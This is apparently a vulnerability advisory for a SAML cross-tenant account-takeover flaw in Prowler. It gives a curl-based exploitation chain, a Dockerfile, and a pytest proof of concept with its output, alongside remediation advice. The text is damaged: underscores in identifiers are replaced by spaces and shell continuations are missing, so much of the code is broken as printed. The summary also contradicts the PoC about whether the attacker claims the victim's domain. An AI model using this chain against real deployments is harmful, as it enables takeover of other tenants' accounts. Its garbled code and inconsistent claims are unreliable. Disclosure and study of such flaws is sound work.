Prowler · Prowler · CVE-2026-100169
## SAML Tenant Binding Enables Cross-Tenant Account Takeover
### Summary
Prowler's SAML authentication flow trusted the email domain asserted in a SAMLResponse when deciding which tenant should receive the final token. A malicious tenant with its own SAML configuration and a self-controlled IdP could complete a valid SAML flow for its own configured domain, while asserting an email address from another configured domain.
In the vulnerable flow, the ACS finish logic later derived the tenant from the asserted email domain instead of binding token issuance to the tenant associated with the validated SAML configuration. This could cause a token to be issued for the wrong tenant.
The attacker does not generally need to claim the victim's email domain. If the victim tenant already has SAML configured for that domain, another tenant cannot claim it because `SAMLConfiguration.email domain` and `SAMLDomainIndex.email domain` are globally unique.
### Details
The confirmed root cause is in the SAML ACS finish and token issuance flow. The flow selected a SAML configuration through the ACS route, but later recalculated the tenant from the asserted user email domain:
```python
email domain = user.email.split("@")[-1]
tenant = (
SAMLConfiguration.objects.using(MainRouter.admin db)
.get(email domain=email domain)
.tenant
)
```
This is unsafe because `user.email` is derived from the SAML assertion. The tenant used for membership updates and token issuance must come from the SAML configuration validated for the current ACS route, not from the asserted email domain.
The attack is made possible by several compounding weaknesses:
1. **No domain ownership proof** (`api/src/backend/api/models.py:2100, 2130-2152`): `SAMLConfiguration.email domain` is validated for format and global uniqueness, but not for domain ownership. Any authenticated tenant admin can claim an unclaimed domain string, but cannot claim a domain already configured by another tenant.
2. **Global SAML domain index** (`api/src/backend/api/models.py:2200-2201`): `SAMLDomainIndex.update or create(email domain=self.email domain, defaults={'tenant': self.tenant})` maps each configured domain to its tenant. If token issuance later trusts the asserted email domain, it can resolve a tenant different from the one selected by the ACS route.
3. **Hardcoded auto-connect** (`api/src/backend/config/settings/social login.py:23, 25`): `SOCIALACCOUNT EMAIL AUTHENTICATION = True` and `SOCIALACCOUNT EMAIL AUTHENTICATION AUTO CONNECT = True` are hardcoded and cannot be disabled at runtime.
4. **IdP-initiated SSO enabled** (`api/src/backend/config/settings/social login.py:78`): `reject idp initiated sso: False` allows the attacker to initiate the flow without requiring any action from the victim.
5. **Token issuance for the wrong tenant** (`api/src/backend/api/v1/views.py:853-873`): after SAML authentication, the vulnerable ACS finish flow could create membership and issue a `SAMLToken` using a tenant derived from the asserted email domain instead of the validated SAML configuration.
6. **Token switch impact** (`api/src/backend/api/v1/serializers.py:272`): the token switch endpoint checks that the authenticated user is a member of the target tenant. If the attacker obtains a JWT for the victim user, they can switch into tenants where that user is already a member.
### PoC
**Environment setup:**
```bash
# Build the PoC Docker image (build context = repo root)
docker build -t vuln001-poc -f vuln-001/Dockerfile .
# Start the stack (PostgreSQL + PoC runner)
docker compose -f vuln-001/docker-compose-poc.yml up --no-build --abort-on-container-exit
```
**Automated test (runs inside the container):**
```bash
python -m pytest poc vuln001.py -v -s --no-header --tb=short
```
**Manual HTTP exploitation chain (against a live Prowler API):**
**Step 1 - Attacker configures SAML for their own email domain:**
```bash
curl -i -X POST "$API/api/v1/saml-config"
-H "Authorization: Bearer $ATTACKER TOKEN"
-H "Content-Type: application/vnd.api+json"
--data '{
"data":{"type":"saml-configurations","attributes":{
"email domain":"attacker.com",
"metadata xml":"<md:EntityDescriptor entityID="evil-idp" xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata">...attacker cert and SSO URL...</md:EntityDescriptor>"
}}
}'
```
The attacker does not need to claim `victim.com`. If `victim.com` is already configured by the victim tenant, the attacker cannot claim it because SAML domains are globally unique.
**Step 2 - Attacker posts a signed SAMLResponse asserting `user@victim.com`:**
```bash
# SIGNED ASSERTION is a base64-encoded SAMLResponse signed with the attacker's private key,
# valid for the attacker's configured IdP, but asserting NameID = user@victim.com
curl -i -L -c c.jar -b c.jar
-X POST "$API/api/v1/accounts/saml/attacker.com/acs/"
--data-urlencode "SAMLResponse=$SIGNED ASSERTION"
```
**Step 3 - Vulnerable ACS finish logic derives the tenant from the asserted email domain:**
In the vulnerable version, the finish flow used `user.email.split("@")[-1]` to resolve the tenant. If the asserted domain mapped to another tenant's SAML configuration, token issuance could be bound to the wrong tenant.
**Step 4 - Exchange the SAML token for a victim JWT:**
```bash
curl -s -X POST "$API/api/v1/tokens/saml?id=$SAML TOKEN ID"
# Returns access/refresh JWT if the temporary SAML token is valid and has not expired
```
**Step 5 - Switch into the victim's real tenant:**
```bash
curl -s -X POST "$API/api/v1/tokens/switch"
-H "Authorization: Bearer $VICTIM JWT"
-H "Content-Type: application/vnd.api+json"
--data '{
"data":{
"type":"tokens-switch-tenant",
"attributes":{
"tenant id":"<victim-real-tenant-uuid>"
}
}
}'
# Returns a valid token scoped to the victim's tenant
```
**Observed output from the automated PoC:**
Note: this adapter-focused PoC demonstrates the account-linking behavior, but it does not prove the full token issuance chain by itself. The full exploit depends on the ACS finish flow issuing a token for a tenant derived from the asserted email domain.
```
[+] Victim user created in DB:
email = victim@victim.com
id = b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
[+] Simulated SAMLResponse posted to ACS endpoint:
URL: POST /api/v1/accounts/saml/victim.com/acs/
NameID: victim@victim.com (attacker-controlled)
[*] Calling ProwlerSocialAccountAdapter.pre social login()
File: api/src/backend/api/adapters.py:17
[!] sociallogin.connect() was called!
connected user email: victim@victim.com
connected user id: b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
victim user id: b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
- Victim user id in DB: b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
- User passed to connect(): b3efcee1-5b26-4af9-bd6d-67bbc05c2ff8
- IDs match (victim's account): True
- Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)
PASSED
======================== 1 passed, 2 warnings in 35.42s ========================
```
**Recommended remediation** (`api/src/backend/api/v1/views.py`):
Bind token issuance to the SAML configuration selected by the ACS route.
The ACS finish flow should verify that the following values all match:
- the `organization slug` from the ACS route
- the `SAMLConfiguration.email domain`
- the domain portion of the asserted SAML user email
Then issue the token using the tenant from that validated SAML configuration:
```python
tenant = saml config.tenant
```
The tenant must not be recalculated from `user.email`.
### Impact
This is an **Improper Authentication (CWE-287)** vulnerability that enables **cross-tenant account takeover**. An authenticated Prowler user with a controlled SAML IdP could potentially obtain a token for another tenant if the ACS finish flow derived the tenant from the asserted email domain instead of the validated SAML configuration.
**Who is impacted:** users of Prowler instances where SAML is enabled and the target email domain maps to a configured SAML tenant. Because `reject idp initiated sso` is `False`, no victim interaction is required once the attacker controls a valid SAML configuration and IdP for their own tenant.
**Consequences:**
- Full read/write access to the victim's cloud security audit findings across all configured providers (AWS, GCP, Azure, etc.)
- Ability to enumerate, modify, or delete compliance findings and integration secrets within the victim's tenant
- Lateral movement into any additional tenants the victim belongs to via the token switch endpoint
- Possible persistent access depending on the SAML account-linking behavior in the affected version
### Reproduction artifacts
#### `Dockerfile`
```dockerfile
# Dockerfile for VULN-001 PoC: SAML Domain Claiming Enables Cross-Tenant Account Takeover
#
# Builds a minimal Prowler API test environment to reproduce the vulnerability
# in api/src/backend/api/adapters.py (pre social login, lines 17-25).
#
# Build context must be the parent directory:
# docker build -t vuln001-poc -f vuln-001/Dockerfile .
FROM python:3.12.10-slim-bookworm
LABEL maintainer="security-research"
LABEL description="PoC environment for VULN-001: SAML domain claiming account takeover"
# Install system packages required for:
# - xmlsec (python-saml / django-allauth SAML): libxml2, libxmlsec1
# - psycopg2: PostgreSQL client headers
# - uv / prowler git dep: git, gcc, g++
RUN apt-get update && apt-get install -y --no-install-recommends
gcc
g++
make
git
libxml2-dev
libxmlsec1-dev
libxmlsec1-openssl
pkg-config
libtool
libxslt1-dev
python3-dev
&& rm -rf /var/lib/apt/lists/*
# Install uv (same version as the original Dockerfile)
RUN pip install --no-cache-dir uv==0.11.14
WORKDIR /prowler
# Copy API dependency manifests first (for layer caching)
COPY repo/api/pyproject.toml repo/api/uv.lock ./api/
# Install all Python dependencies from the locked file.
# This includes: django, django-allauth[saml], prowler (from git), psycopg2, etc.
WORKDIR /prowler/api
RUN uv sync --locked --no-install-project && rm -rf ~/.cache/uv
# Copy the full backend source code
COPY repo/api/src/backend/ ./src/backend/
# Copy the PoC test into the backend working directory so pytest can discover it
COPY vuln-001/poc.py ./src/backend/poc vuln001.py
WORKDIR /prowler/api/src/backend
# Set up environment variables for the test run.
# DJANGO SETTINGS MODULE points to config.django.testing which uses PostgreSQL.
ENV PATH="/prowler/api/.venv/bin:$PATH"
ENV DJANGO SETTINGS MODULE=config.django.testing
ENV POSTGRES HOST=postgres
ENV POSTGRES USER=prowler admin
ENV POSTGRES PASSWORD=prowler password
ENV POSTGRES DB=prowler test db
ENV POSTGRES PORT=5432
ENV SECRET KEY=poc-test-secret-key-not-for-production
ENV SECRETS ENCRYPTION KEY=ZMiYVo7m4Fbe2eXXPyrwxdJss2WSalXSv3xHBcJkPl0=
# Provide dummy values for optional services (Valkey/Celery not needed for unit tests)
ENV VALKEY HOST=localhost
ENV VALKEY PORT=6379
ENV VALKEY PASSWORD=""
# Neo4j not needed for adapter tests
ENV NEO4J USER=neo4j
ENV NEO4J PASSWORD=neo4j
# Silence Sentry in test runs
ENV DJANGO SENTRY DSN=""
CMD ["python", "-m", "pytest", "poc vuln001.py", "-v", "-s", "--no-header", "--tb=short"]
```
#### `poc.py`
```python
"""
PoC for VULN-001: SAML Domain Claiming Enables Cross-Tenant Account Takeover
Product: toniblyx/prowler v5.30.0 (commit c2cef99)
CWE: CWE-287 - Improper Authentication
CVSS: 9.6 (Critical) AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Vulnerability location:
api/src/backend/api/adapters.py lines 17-25 (pre social login)
api/src/backend/config/settings/social login.py lines 23, 25, 78
Root cause:
ProwlerSocialAccountAdapter.pre social login() trusts the SAML NameID email
from the assertion and calls get user by email() which does a GLOBAL user
table lookup with no tenant-scope or domain-ownership check. If a user
with that email already exists, sociallogin.connect() links the attacker's
SAML session to that account - giving the attacker control of the victim.
Attack chain:
1. Attacker registers a Prowler account and creates a tenant (normal user).
2. Attacker POSTs to /api/v1/saml-config claiming email domain=victim.com.
models.py only validates format/uniqueness - no ownership proof.
3. Attacker's IdP (self-controlled) issues a SAMLResponse signed with the
attacker's certificate, asserting NameID=victim@victim.com.
4. ACS endpoint (POST /api/v1/accounts/saml/victim.com/acs/) triggers
pre social login. The adapter looks up victim@victim.com globally and
calls sociallogin.connect(request, victim user) - ACCOUNT LINKED.
5. views.py issues a SAMLToken (JWT) for the victim account.
6. Attacker uses /api/v1/tokens/saml?id=<token id> to obtain victim's JWT.
This test proves steps 4 - the critical account-linking step - using the real
production adapter code and a real PostgreSQL database. sociallogin.connect()
is spied upon (not replaced) so we can capture the exact user object passed in.
"""
import pytest
from unittest.mock import MagicMock
from allauth.socialaccount.models import SocialLogin
from django.contrib.auth import get user model
from api.adapters import ProwlerSocialAccountAdapter
User = get user model()
VICTIM EMAIL = "victim@victim.com"
VICTIM DOMAIN = "victim.com"
ATTACKER EMAIL = "attacker@evil-corp.com"
# ---------------------------------------------------------------------------
# Helper: print a separator for readable test output
# ---------------------------------------------------------------------------
def section(title: str) -> None:
width = 70
print(f"
{'=' * width}")
print(f" {title}")
print(f"{'=' * width}")
# ---------------------------------------------------------------------------
# Core PoC test
# ---------------------------------------------------------------------------
@pytest.mark.django db
class TestSAMLDomainClaimingAccountTakeover:
"""
Proves VULN-001 end-to-end using the real ProwlerSocialAccountAdapter and
a live PostgreSQL test database created by pytest-django.
The test creates a victim user in the database, then simulates the exact
HTTP flow an attacker would trigger via a crafted SAMLResponse.
"""
def test attacker saml session links to victim account(self, rf):
"""
Verify that pre social login() links the attacker's SAML sociallogin
to an existing victim account without ANY domain-ownership check.
Expected outcome (vulnerability confirmed):
sociallogin.connect(request, victim user) is called where
victim user.email == VICTIM EMAIL and victim user was created
independently of the SAML session - i.e. the adapter does NOT
verify that the SAML registrant owns victim.com.
"""
# ---------------------------------------------------------------
# STEP 1 - Create the victim's pre-existing account in the database.
# In a real attack the victim signed up with email+password
# and has an existing Prowler tenant membership.
# ---------------------------------------------------------------
section("STEP 1: Create victim account in database")
victim user = User.objects.create user(
name="Victim User",
email=VICTIM EMAIL,
password="VictimS3cret!",
)
# Confirm the user was actually persisted (real DB round-trip)
fetched = User.objects.get(email=VICTIM EMAIL)
assert fetched.id == victim user.id, "Victim user must exist in database"
print(f"[+] Victim user created in DB:")
print(f" email = {victim user.email}")
print(f" id = {victim user.id}")
# ---------------------------------------------------------------
# STEP 2 - Simulate the attacker's SAML flow.
#
# a. Attacker previously registered a SAMLConfiguration for
# email domain='victim.com' via POST /api/v1/saml-config.
# (No domain ownership proof is required - see models.py:2100)
#
# b. Attacker's self-controlled IdP issues a SAMLResponse signed
# with the attacker's certificate, asserting:
# NameID = victim@victim.com
#
# c. allauth processes the ACS POST and calls pre social login()
# before creating/updating the social account record.
#
# We represent the processed SAMLResponse as an allauth SocialLogin
# object. The 'connect' method is spied upon to capture arguments.
# ---------------------------------------------------------------
section("STEP 2: Attacker triggers ACS with crafted SAMLResponse")
# Build the sociallogin object that allauth would construct after
# validating the SAMLResponse signature (which uses the *attacker's*
# certificate - no server-side cert pinning for victim.com).
attacker saml login = MagicMock(spec=SocialLogin)
attacker saml login.provider = MagicMock()
attacker saml login.provider.id = "saml" # Provider discriminator
attacker saml login.account = MagicMock()
attacker saml login.account.extra data = {} # SAML uses user.email path
attacker saml login.user = MagicMock()
# The attacker's IdP signs a NameID of victim@victim.com in the SAMLResponse.
# This is the email that pre social login() will trust without verification.
attacker saml login.user.email = VICTIM EMAIL
attacker saml login.connect = MagicMock() # Spy: record call arguments
# Simulate the ACS request (POST to the victim.com ACS endpoint)
acs request = rf.post(
f"/api/v1/accounts/saml/{VICTIM DOMAIN}/acs/",
data={"SAMLResponse": "<attacker-signed-base64>"},
)
print(f"[+] Simulated SAMLResponse posted to ACS endpoint:")
print(f" URL: POST /api/v1/accounts/saml/{VICTIM DOMAIN}/acs/")
print(f" NameID: {attacker saml login.user.email} (attacker-controlled)")
# ---------------------------------------------------------------
# STEP 3 - Execute the vulnerable adapter method.
#
# api/src/backend/api/adapters.py lines 17-25:
#
# def pre social login(self, request, sociallogin):
# email = sociallogin.account.extra data.get("email") # line 19
# if sociallogin.provider.id == "saml":
# email = sociallogin.user.email # line 21 - trusts SAML NameID
# if email:
# existing user = self.get user by email(email) # line 23 - global DB lookup
# if existing user:
# sociallogin.connect(request, existing user) # line 25 - ACCOUNT LINKED
# ---------------------------------------------------------------
section("STEP 3: Execute pre social login (vulnerable code path)")
adapter = ProwlerSocialAccountAdapter()
print(f"[*] Calling ProwlerSocialAccountAdapter.pre social login()")
print(f" File: api/src/backend/api/adapters.py:17")
adapter.pre social login(acs request, attacker saml login)
# ---------------------------------------------------------------
# STEP 4 - Verify the attack succeeded.
# ---------------------------------------------------------------
section("STEP 4: Verify attack outcome")
assert attacker saml login.connect.called, (
"FAIL: sociallogin.connect() was NOT called - "
"the attack path did not execute"
)
call args = attacker saml login.connect.call args[0]
, connected user = call args # connect(request, existing user)
print(f"[!] sociallogin.connect() was called!")
print(f" connected user email: {connected user.email}")
print(f" connected user id: {connected user.id}")
print(f" victim user id: {victim user.id}")
# The connected user must be the VICTIM (looked up from global DB)
assert connected user.email == VICTIM EMAIL, (
f"FAIL: connect() was called with {connected user.email!r}, "
f"expected {VICTIM EMAIL!r}"
)
assert str(connected user.id) == str(victim user.id), (
f"FAIL: connect() user id {connected user.id} != victim id {victim user.id}"
)
# Confirm no domain-ownership check happened:
# The adapter does not inspect the SAML configuration to verify that
# the sociallogin's tenant registered victim.com before accepting the email.
section("RESULT: VULNERABILITY CONFIRMED")
print(f"[PASS] CWE-287 Improper Authentication - SAML domain claiming attack")
print()
print(f" Root cause (adapters.py:21-25):")
print(f" email = sociallogin.user.email # trusts SAML NameID: {VICTIM EMAIL}")
print(f" existing user = self.get user by email(email) # GLOBAL lookup, no tenant scope")
print(f" sociallogin.connect(request, existing user) # links attacker session to victim")
print()
print(f" Contributing settings (social login.py):")
print(f" SOCIALACCOUNT EMAIL AUTHENTICATION AUTO CONNECT = True # hardcoded")
print(f" reject idp initiated sso = False # IdP-initiated attacks allowed")
print()
print(f" Impact:")
print(f" - Attacker obtains JWT token for {VICTIM EMAIL}")
print(f" - Attacker can access victim's cloud security findings")
print(f" - Attacker can switch to victim's tenant via /api/v1/tokens/switch")
print(f" - No victim interaction required (IdP-initiated SSO enabled)")
print()
print(f" Evidence (this test run):")
print(f" - Victim user id in DB: {victim user.id}")
print(f" - User passed to connect(): {connected user.id}")
print(f" - IDs match (victim's account): {str(victim user.id) == str(connected user.id)}")
print(f" - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)")
```